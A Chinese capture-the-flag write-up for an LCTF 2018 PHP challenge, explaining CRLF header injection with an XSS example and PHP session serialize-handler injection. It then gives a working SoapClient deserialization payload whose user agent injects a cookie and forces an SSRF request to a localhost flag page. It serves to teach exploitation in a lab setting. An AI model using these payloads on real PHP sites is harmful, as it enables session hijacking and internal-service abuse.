前言
关键字:[SoapClient|call_user_func|ssrf]
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { }
题解
/flag.php返回
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; }
only localhost can get flag!
明显是SSRF
call_user_func知识点
<?php
function func($a,$b)
{
echo $a;
echo $b;
}
call_user_func('func', "111","222");
call_user_func('func', "333","444");
//显示 111 222 333 444
如果传入的参数是一个数组,且数组的第一个值是一个类/对象,那么,就会把数组的第二个值,当做方法,然后执行。
<?php
class a {
function b($c)
{
echo $c;
}
}
call_user_func(array("a", "b"),"111");
//call_user_func(array(类名, 函数名),"111");
//显示 111
CRLF Injection漏洞
CRLF是”回车(%0d)+换行(%0a)”(\r\n)的简称。在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLFInjection又叫HTTPResponseSplitting,简称HRS。
比如一个302跳转:http://127.0.0.1/?url=http://www.sina.com.cn
HTTP/1.1 302
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location:http://www.sina.com.cn
我输入:
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
返回的数据包就是
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn Set-cookie: JSPSESSID=wooyun
还可以用来xss
http://test.sina.com.cn/?url=%0d%0a%0d%0a<imgsrc=1onerror=alert(/xss/)>
浏览器会根据第一个CRLF把HTTP包分成header和body,然后将body显示出来。于是我们这里这个标签就会显示出来,造成一个xss。
关于这题的SoapClient
类,没有指定cookie,但又user_agent
,所以可以在user_agent
里加上一个\r\n
再加cookie。
serialize_hander处理session方式不同导致session注入
首先,session中的内容并不是放在内存中的,而是默认以文件的方式来存储的,可由配置项session.save_handler来进行确定。存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列化之后的内容。
然后,php序列化引擎也有不同表现:
php_serialize引擎
$_SESSION['name'] = 'sky'; a:1:{s:4:"name";s:3:"sky";}
PHP引擎
$_SESSION['name'] = 'sky'; name|s:3:"sky"
php_binary引擎
键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
在这里就有反序列化漏洞了,如果用php_serialize
做序列化引擎,且php_serialize
做序列化引擎
$_SESSION['name'] = '|sky';
a:1:{s:4:"name";s:3:"|sky";}
然后再用PHP引擎去反序列化,因为php以|
符号分隔键与值,所以就会变成a:1:{s:4:"name";s:3:"
=sky
的情况,这样sky就被单独拿了出来进行反序列化,而不是作为字符串打印出来。至于后面的";}s
,php反序列化的规则是前方闭合后面就忽略(这也是反序列化字符串逃逸的原理)。
php默认是用PHP引擎,可用ini_set('session.serialize_handler', '需要设置的引擎')
切换,但参数不支持数组。
所以此题用
session_start(array("serialize_handler" => "php_serialize"));
SoapClient SSRF
如果提示
Class 'SoapClient' not found
就在php.ini里启用extension=php_soap.dll
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
SoapClient类可以创建soap数据报文,与wsdl接口进行交互。
这是一个php内置的类,当__call方法被触发后,它可以发送HTTP和HTTPS请求。该类的构造函数如下
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri是SOAP服务的目标命名空间。
知道上述两个参数的含义后,就很容易构造出SSRF的利用payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url
<?php
$a = new SoapClient(null, array('location' => "http://127.0.0.1/flag.php",
'uri'=> "123"));
echo urlencode(serialize($a));
?>
解析
写入session
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null, array(
'location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=817olmp68ukmnofc2mlp762ql0\r\n",
'uri' => "123"
));
$payload = urlencode(serialize($attack));
echo $payload;
生成payload,然后在前面加个|
?name=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3D817olmp68ukmnofc2mlp762ql0%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D&f=session_start
POST:
serialize_handler=php_serialize
1.利用call_user_func($_GET[‘f’], $_POST);
函数,改变此页面的序列化引擎为php_serialize
2.$_SESSION['name'] = $_GET['name'];
将构造的序列化对象传入session中,并在前面加一个|
符号。此时session会以php_serialize
的规则储存。
触发反序列化
?f=extract
POST:
b=call_user_func
array(1) { ["a:1:{s:4:"name";s:199:""]=> object(SoapClient)#1 (4) { ["uri"]=> string(3) "123" ["location"]=> string(25) "http://127.0.0.1/flag.php" ["_user_agent"]=> string(56) "N0rth3ty Cookie: PHPSESSID=817olmp68ukmnofc2mlp762ql0 " ["_soap_version"]=> int(1) } }
1.用extract()
函数将$b
覆盖为call_user_func
2.此时序列化引擎又变为默认的php了,然后执行session_start()
,则会读取刚刚序列化好的文件,进行反序列化。
3.$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
,reset
指针前移到开头,把session和字符串合并为一个数组。
`call_user_func($b, $a);`=`call_user_func(call_user_func, $a);`=`call_user_func($a)`=`call_user_func(array(reset($_SESSION), 'welcome_to_the_lctf2018');)`,
然后会执行函数名为welcome_to_the_lctf2018
的方法,显然,这个方法不存在,就调用了SoapClient
类魔术方法__call()
然后执行一个请求(这是由SoapClient
类的内部代码决定的)
改cookie
奇文共赏
https://blog.csdn.net/weixin_44077544/article/details/102960092